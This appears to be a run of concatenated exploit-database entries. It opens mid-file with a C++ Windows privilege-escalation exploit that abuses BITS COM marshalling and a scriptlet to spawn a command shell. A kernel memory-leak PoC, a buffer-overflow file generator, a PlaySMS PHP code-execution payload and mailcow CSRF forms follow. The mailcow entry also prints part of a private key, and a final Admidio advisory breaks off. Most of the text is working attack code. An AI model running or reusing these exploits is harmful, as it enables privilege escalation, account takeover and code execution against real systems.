/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
*pCid = CLSID_AggStdMarshal2;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
*pSize = 1024;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
printf("Marshal Interface: %ls\n", IIDToBSTR(riid).GetBSTR());
IID iid = riid;
if (iid == __uuidof(IBackgroundCopyCallback2) || iid == __uuidof(IBackgroundCopyCallback))
{
printf("Setting bad IID\n");
iid = IID_ITMediaControl;
}
HRESULT hr = CoMarshalInterface(pStm, iid, _unk, dwDestContext, pvDestContext, mshlflags);
printf("Marshal Complete: %08X\n", hr);
return hr;
}
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][out] */
_Outptr_ void **ppv)
{
return E_NOTIMPL;
}
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
/* [annotation][unique][in] */
_In_ IStream *pStm)
{
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
/* [annotation][in] */
_In_ DWORD dwReserved)
{
return S_OK;
}
};
class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
LONG m_lRefCount;
~FakeObject() {};
public:
//Constructor, Destructor
FakeObject() {
m_lRefCount = 1;
}
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
if (riid == __uuidof(IUnknown))
{
printf("Query for IUnknown\n");
*ppvObj = this;
}
else if (riid == __uuidof(IBackgroundCopyCallback2))
{
printf("Query for IBackgroundCopyCallback2\n");
*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
}
else if (riid == __uuidof(IBackgroundCopyCallback))
{
printf("Query for IBackgroundCopyCallback\n");
*ppvObj = static_cast<IBackgroundCopyCallback*>(this);
}
else if (riid == __uuidof(IPersist))
{
printf("Query for IPersist\n");
*ppvObj = static_cast<IPersist*>(this);
}
else if (riid == IID_ITMediaControl)
{
printf("Query for ITMediaControl\n");
*ppvObj = static_cast<IPersist*>(this);
}
else
{
printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
((IUnknown*)*ppvObj)->AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
virtual HRESULT STDMETHODCALLTYPE JobTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
{
printf("JobTransferred\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobError(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
{
printf("JobError\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobModification(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ DWORD dwReserved)
{
printf("JobModification\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE FileTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
{
printf("FileTransferred\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID)
{
*pClassID = GUID_NULL;
return S_OK;
}
};
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
static HRESULT Check(HRESULT hr)
{
if (FAILED(hr))
{
throw _com_error(hr);
}
return hr;
}
#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
typedef NTSTATUS(NTAPI* fNtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName);
typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
FARPROC GetProcAddressNT(LPCSTR lpName)
{
return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
}
class ScopedHandle
{
HANDLE _h;
public:
ScopedHandle() : _h(nullptr)
{
}
ScopedHandle(ScopedHandle&) = delete;
ScopedHandle(ScopedHandle&& h) {
_h = h._h;
h._h = nullptr;
}
~ScopedHandle()
{
if (!invalid())
{
CloseHandle(_h);
_h = nullptr;
}
}
bool invalid() {
return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
}
void set(HANDLE h)
{
_h = h;
}
HANDLE get()
{
return _h;
}
HANDLE* ptr()
{
return &_h;
}
};
ScopedHandle CreateSymlink(LPCWSTR linkname, LPCWSTR targetname)
{
fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString");
fNtCreateSymbolicLinkObject pfNtCreateSymbolicLinkObject = (fNtCreateSymbolicLinkObject)GetProcAddressNT("NtCreateSymbolicLinkObject");
OBJECT_ATTRIBUTES objAttr;
UNICODE_STRING name;
UNICODE_STRING target;
pfRtlInitUnicodeString(&name, linkname);
pfRtlInitUnicodeString(&target, targetname);
InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
ScopedHandle hLink;
NTSTATUS status = pfNtCreateSymbolicLinkObject(hLink.ptr(), SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);
if (status == 0)
{
printf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink.get());
return hLink;
}
else
{
printf("Error creating link %ls: %08X\n", linkname, status);
return ScopedHandle();
}
}
bstr_t GetSystemDrive()
{
WCHAR windows_dir[MAX_PATH] = { 0 };
GetWindowsDirectory(windows_dir, MAX_PATH);
windows_dir[2] = 0;
return windows_dir;
}
bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
WCHAR drive[3] = { 0 };
drive[0] = lpPath[0];
drive[1] = lpPath[1];
drive[2] = 0;
WCHAR device_name[MAX_PATH] = { 0 };
if (QueryDosDevice(drive, device_name, MAX_PATH))
{
return device_name;
}
else
{
printf("Error getting device for %ls\n", lpPath);
exit(1);
}
}
bstr_t GetSystemDevice()
{
return GetDeviceFromPath(GetSystemDrive());
}
bstr_t GetExe()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
return curr_path;
}
bstr_t GetExeDir()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
PathRemoveFileSpec(curr_path);
return curr_path;
}
bstr_t GetCurrentPath()
{
bstr_t curr_path = GetExeDir();
bstr_t ret = GetDeviceFromPath(curr_path);
ret += &curr_path.GetBSTR()[2];
return ret;
}
void TestBits()
{
IBackgroundCopyManagerPtr pQueueMgr;
Check(CoCreateInstance(__uuidof(BackgroundCopyManager), NULL,
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)));
IUnknownPtr pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject()));
IUnknownPtr pInner;
Check(CoGetStdMarshalEx(pOuter, SMEXF_SERVER, &pInner));
IBackgroundCopyJobPtr pJob;
GUID guidJob;
Check(pQueueMgr->CreateJob(L"BitsAuthSample",
BG_JOB_TYPE_DOWNLOAD,
&guidJob,
&pJob));
IUnknownPtr pNotify;
pNotify.Attach(new CMarshaller(pInner));
{
ScopedHandle link = CreateSymlink(L"\\??\\C:", GetCurrentPath());
printf("Result: %08X\n", pJob->SetNotifyInterface(pNotify));
}
if (pJob)
{
pJob->Cancel();
}
printf("Done\n");
}
class CoInit
{
public:
CoInit()
{
Check(CoInitialize(nullptr));
Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr,
RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_NO_CUSTOM_MARSHAL | EOAC_DYNAMIC_CLOAKING, nullptr));
}
~CoInit()
{
CoUninitialize();
}
};
// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22,{ 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };
// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2,{ 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };
GUID TypeLib_Tapi3 = { 0x21d6d480,0xa88b,0x11d0,{ 0x83,0xdd,0x00,0xaa,0x00,0x3c,0xca,0xbd } };
void Create(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
{
DeleteFile(filename);
ICreateTypeLib2Ptr tlb;
Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
tlb->SetGuid(typelib_guid);
ITypeInfoPtr ref_type_info;
Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));
ICreateTypeInfoPtr create_info;
Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
HREFTYPE ref_type;
Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
Check(create_info->AddImplType(0, ref_type));
Check(create_info->SetGuid(iid));
Check(tlb->SaveAllChanges());
}
std::vector<BYTE> ReadFile(bstr_t path)
{
ScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
DWORD size = GetFileSize(hFile.get(), nullptr);
std::vector<BYTE> ret(size);
if (size > 0)
{
DWORD bytes_read;
if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
{
throw _com_error(E_FAIL);
}
}
return ret;
}
void WriteFile(bstr_t path, const std::vector<BYTE> data)
{
ScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
if (data.size() > 0)
{
DWORD bytes_written;
if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
{
throw _com_error(E_FAIL);
}
}
}
void WriteFile(bstr_t path, const char* data)
{
const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
WriteFile(path, data_buf);
}
void BuildTypeLibs(LPCSTR script_path)
{
ITypeLibPtr stdole2;
Check(LoadTypeLib(L"stdole2.tlb", &stdole2));
printf("Building Library with path: %s\n", script_path);
unsigned int len = strlen(script_path);
bstr_t buf = GetExeDir() + L"\\";
for (unsigned int i = 0; i < len; ++i)
{
buf += L"A";
}
Create(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
ITypeLibPtr abc;
Check(LoadTypeLib(buf, &abc));
bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
Create(built_tlb, "ITMediaControl", TypeLib_Tapi3, IID_ITMediaControl, abc, IID_BaseInterface);
std::vector<BYTE> tlb_data = ReadFile(built_tlb);
for (size_t i = 0; i < tlb_data.size() - len; ++i)
{
bool found = true;
for (unsigned int j = 0; j < len; j++)
{
if (tlb_data[i + j] != 'A')
{
found = false;
}
}
if (found)
{
printf("Found TLB name at offset %zu\n", i);
memcpy(&tlb_data[i], script_path, len);
break;
}
}
CreateDirectory(GetExeDir() + L"\\Windows", nullptr);
CreateDirectory(GetExeDir() + L"\\Windows\\System32", nullptr);
bstr_t target_tlb = GetExeDir() + L"\\Windows\\system32\\tapi3.dll";
WriteFile(target_tlb, tlb_data);
}
const wchar_t x[] = L"ABC";
const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
"</registration>\r\n"\
"<script language='JScript'>\r\n"\
"<![CDATA[\r\n"\
" new ActiveXObject('Wscript.Shell').exec('";
const wchar_t scriptlet_end[] = L"');\r\n"\
"]]>\r\n"\
"</script>\r\n"\
"</component>\r\n"\
"</package>\r\n";
bstr_t CreateScriptletFile()
{
bstr_t script_file = GetExeDir() + L"\\run.sct";
bstr_t script_data = scriptlet_start;
bstr_t exe_file = GetExe();
wchar_t* p = exe_file;
while (*p)
{
if (*p == '\\')
{
*p = '/';
}
p++;
}
DWORD session_id;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
WCHAR session_str[16];
StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
script_data += L"\"" + exe_file + L"\" " + session_str + scriptlet_end;
WriteFile(script_file, script_data);
return script_file;
}
void CreateNewProcess(const wchar_t* session)
{
DWORD session_id = wcstoul(session, nullptr, 0);
ScopedHandle token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
{
throw _com_error(E_FAIL);
}
ScopedHandle new_token;
if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
{
throw _com_error(E_FAIL);
}
SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
STARTUPINFO start_info = {};
start_info.cb = sizeof(start_info);
start_info.lpDesktop = L"WinSta0\\Default";
PROCESS_INFORMATION proc_info;
WCHAR cmdline[] = L"cmd.exe";
if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
{
CloseHandle(proc_info.hProcess);
CloseHandle(proc_info.hThread);
}
}
int wmain(int argc, wchar_t** argv)
{
try
{
CoInit ci;
if (argc > 1)
{
CreateNewProcess(argv[1]);
}
else
{
bstr_t script = L"script:" + CreateScriptletFile();
BuildTypeLibs(script);
TestBits();
}
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1211
The attached swf causes an out-of-bounds read in getting the width of a TextField.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42019.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174
The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42018.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1182
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtUserCreateWindowEx system call. The analysis shown below was performed on Windows 7 32-bit.
The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:
--- cut ---
8a993e28 82ab667d nt!memcpy+0x35
8a993e84 92c50063 nt!KeUserModeCallback+0xc6
8a994188 92c5f436 win32k!xxxClientLpkDrawTextEx+0x16b
8a9941f4 92c5f72e win32k!DT_GetExtentMinusPrefixes+0x91
8a994230 92c5f814 win32k!NeedsEndEllipsis+0x3d
8a99437c 92c5fa0f win32k!AddEllipsisAndDrawLine+0x56
8a994404 92c5fa9b win32k!DrawTextExWorker+0x140
8a994428 92bb8c65 win32k!DrawTextExW+0x1e
8a9946f0 92b23702 win32k!xxxDrawCaptionTemp+0x54d
8a994778 92b78ce8 win32k!xxxDrawCaptionBar+0x682
8a99479c 92b8067f win32k!xxxDWP_DoNCActivate+0xd6
8a994818 92b59c8d win32k!xxxRealDefWindowProc+0x7fe
8a99483c 92b86c1c win32k!xxxDefWindowProc+0x10f
8a994874 92b8c156 win32k!xxxSendMessageToClient+0x11b
8a9948c0 92b8c205 win32k!xxxSendMessageTimeout+0x1cf
8a9948e8 92b719b5 win32k!xxxSendMessage+0x28
8a994960 92b4284b win32k!xxxActivateThisWindow+0x473
8a9949c8 92b42431 win32k!xxxSetForegroundWindow2+0x3dd
8a994a08 92b714c7 win32k!xxxSetForegroundWindow+0x1e4
8a994a34 92b712d7 win32k!xxxActivateWindow+0x1b3
8a994a48 92b70cd6 win32k!xxxSwpActivate+0x44
8a994aa8 92b70f83 win32k!xxxEndDeferWindowPosEx+0x2b5
8a994ac8 92b7504f win32k!xxxSetWindowPos+0xf6
8a994b04 92b6f6dc win32k!xxxShowWindow+0x25a
8a994c30 92b72da9 win32k!xxxCreateWindowEx+0x137b
8a994cf0 82876db6 win32k!NtUserCreateWindowEx+0x2a8
8a994cf0 77486c74 nt!KiSystemServicePostCall
0022f9f8 770deb5c ntdll!KiFastSystemCallRet
0022f9fc 770deaf0 USER32!NtUserCreateWindowEx+0xc
0022fca0 770dec1c USER32!VerNtUserCreateWindowEx+0x1a3
0022fd4c 770dec77 USER32!_CreateWindowEx+0x201
0022fd88 004146a5 USER32!CreateWindowExW+0x33
--- cut ---
The win32k!xxxClientLpkDrawTextEx function invokes a user-mode callback #69 (corresponding to user32!__ClientLpkDrawTextEx), and passes in an input structure of 0x98 bytes. We have found that 4 bytes at offset 0x64 of that structure are uninitialized. These bytes come from offset 0x2C of a smaller structure of size 0x3C, which is passed to win32k!xxxClientLpkDrawTextEx through the 8th parameter. We have tracked that this smaller structure originates from the stack frame of the win32k!DrawTextExWorker function, and is passed down to win32k!DT_InitDrawTextInfo in the 4th argument.
The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). During a few quick attempts, we have been unable to control the leaked bytes with stack spraying techniques, or to get them to contain any meaningful values for the purpose of vulnerability demonstration. However, if we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!DrawTextExWorker, manually overwrite the 4 bytes in question to a controlled DWORD right after the stack frame allocation instructions, and then observe these bytes in the output of the PoC program, which indicates they were not initialized anywhere during execution between win32k!DrawTextExWorker and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:
--- cut ---
2: kd> ba e 1 win32k!DrawTextExWorker
2: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff mov edi,edi
3: kd> p
win32k!DrawTextExWorker+0x2:
8122f8d1 55 push ebp
3: kd> p
win32k!DrawTextExWorker+0x3:
8122f8d2 8bec mov ebp,esp
3: kd> p
win32k!DrawTextExWorker+0x5:
8122f8d4 8b450c mov eax,dword ptr [ebp+0Ch]
3: kd> p
win32k!DrawTextExWorker+0x8:
8122f8d7 83ec58 sub esp,58h
3: kd> p
win32k!DrawTextExWorker+0xb:
8122f8da 53 push ebx
3: kd> ed ebp-2c cccccccc
3: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff mov edi,edi
3: kd> g
--- cut ---
Here, a 32-bit value at EBP-0x2C is overwritten with 0xCCCCCCCC. This is the address of the uninitialized memory, since it is located at offset 0x2C of a structure placed at EBP-0x58; EBP-0x58+0x2C = EBP-0x2C. After executing the above commands, the program should print output similar to the following:
--- cut ---
00000000: 98 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00 ................
00000010: 7c 00 00 00 00 00 00 00 14 00 16 00 80 00 00 00 |...............
00000020: a4 02 01 0e 00 00 00 00 00 00 00 00 0a 00 00 00 ................
00000030: 00 00 00 00 24 88 00 00 18 00 00 00 04 00 00 00 ....$...........
00000040: 36 00 00 00 16 00 00 00 30 00 00 00 01 00 00 00 6.......0.......
00000050: 01 00 00 00 0d 00 00 00 1e 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00[cc cc cc cc]00 00 00 00 04 00 00 00 ................
00000070: ff ff ff ff 01 00 00 00 ff ff ff ff 1c 00 00 00 ................
00000080: 54 00 65 00 73 00 74 00 57 00 69 00 6e 00 64 00 T.e.s.t.W.i.n.d.
00000090: 6f 00 77 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? o.w.............
--- cut ---
It's clearly visible that bytes at offsets 0x64-0x67 are equal to the data we set in the prologue of win32k!DrawTextExWorker, which illustrates how uninitialized stack data is leaked to user-mode.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
PVOID *GetUser32DispatchTable() {
__asm{
mov eax, fs:30h
mov eax, [eax+0x2c]
}
}
BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler) {
PVOID *DispatchTable = GetUser32DispatchTable();
DWORD OldProtect;
if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
printf("VirtualProtect#1 failed, %d\n", GetLastError());
return FALSE;
}
DispatchTable[Index] = lpNewHandler;
if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
printf("VirtualProtect#2 failed, %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
VOID ClientLpkDrawTextExHook(LPVOID Data) {
printf("----------\n");
PrintHex((PBYTE)Data, 0x98);
}
int main() {
if (!HookUser32DispatchFunction(69, ClientLpkDrawTextExHook)) {
return 1;
}
HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
DestroyWindow(hwnd);
return 0;
}
#!/usr/bin/python
# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date : 14/05/2017
# Exploit Author : Muhann4d
# CVE : CVE-2017-8927
# Vendor Homepage : http://www.cgmlarson.com/
# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5
# Category : Denial of Service (DoS) Local
# Tested on OS : Windows 7 Professional SP1 32bit
# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5
# Vendor has been cantacted but no reply
buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
# Exploit Title: PlaySMS 1.4 Code Execution using $filename and Unrestricted File Upload in sendfromfile.php
# Date: 14-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
1. Description
Unrestricted File Upload:
Any registered user can upload any file because of not proper Validation of file in sendfromfile.php
Code Execution using $filename
Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to "<?php system('uname -a'); dia();?>.php" den server check for file and set some perameter $filename="<?php system('uname -a'); dia();?>.php" , U can see code below and display $filename on page.
For More Details : www.touhidshaikh.com/blog/
2. Proof of Concept
Login as regular user (created using index.php?app=main&inc=core_auth&route=register):
Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list
This is Form.
----------------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_sendfromfile&op=upload_confirm\" enctype=\"multipart/form-data\" method=\"post\">
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file') . "</p>
<p><input type=\"file\" name=\"fncsv\"></p>
<p class=help-block>" . _('CSV file format') . " : " . $info_format . "</p>
<p><input type=checkbox name=fncsv_dup value=1 checked> " . _('Prevent duplicates') . "</p>
<p><input type=\"submit\" value=\"" . _('Upload file') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------
-------------PHP code for set parameter ---------------------------
case 'upload_confirm':
$filename = $_FILES['fncsv']['name'];
------------------------------php code ends ---------------------------
$filename will be visible on page:
----------------------Vulnerable perameter show ----------------------
line 123 : $content .= _('Uploaded file') . ': ' . $filename . '<p />';
----------------------------------------------------------------------
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
[+] ISR: ApparitionSec
Vendor:
=============
mailcow.email
mailcow.github.io
Product:
===========
The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.
Vulnerability Type:
===================
CSRF
Password Reset / Add Admin / Delete Domains
CVE Reference:
==============
CVE-2017-8928
Security Issue:
================
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
remote attackers can execute the following exploits.
1) reset admin password
2) add arbitrary admin
3) delete domains
Other issues found in mailcow are as follows:
Session fixation:
=================
Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.
ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication
World Readable Private key "key.pem"
====================================
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami
john
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ
etc...
References:
============
https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd
Exploit/POC:
=============
[Admin Password Reset]
<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="admin_user_now" value="admin">
<input type="hidden" name="admin_user" value="admin">
<input type="hidden" name="admin_pass" value="Abc12345">
<input type="hidden" name="admin_pass2" value="Abc12345">
<input type="hidden" name="trigger_set_admin" value="">
<script>document.forms[0].submit()</script>
</form>
HTTP Response:
'Changes to administrator have been saved"
//////////////////////
[Add Admin]
<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="username" value="HELL">
<input type="hidden" name="password" value="Abc12345">
<input type="hidden" name="password2" value="Abc12345">
<input type="hidden" name="active" value="on">
<input type="hidden" name="trigger_add_domain_admin" value="localhost">
<script>document.forms[0].submit()</script>
</form>
////////////////////
[Delete domains]
https://localhost/mailbox.php
domain=myDomain&trigger_mailbox_action=deletedomain
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=================================
Vendor Notification: May 6, 2017
Vendor releases fix: May 6, 2017
May 14, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website:
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382
[Suggested description]
Admidio 3.2.8 has CSRF in
adm_program/modules/members/members_function.php with
an impact of deleting arbitrary user accounts.
------------------------------------------
[Additional Information]
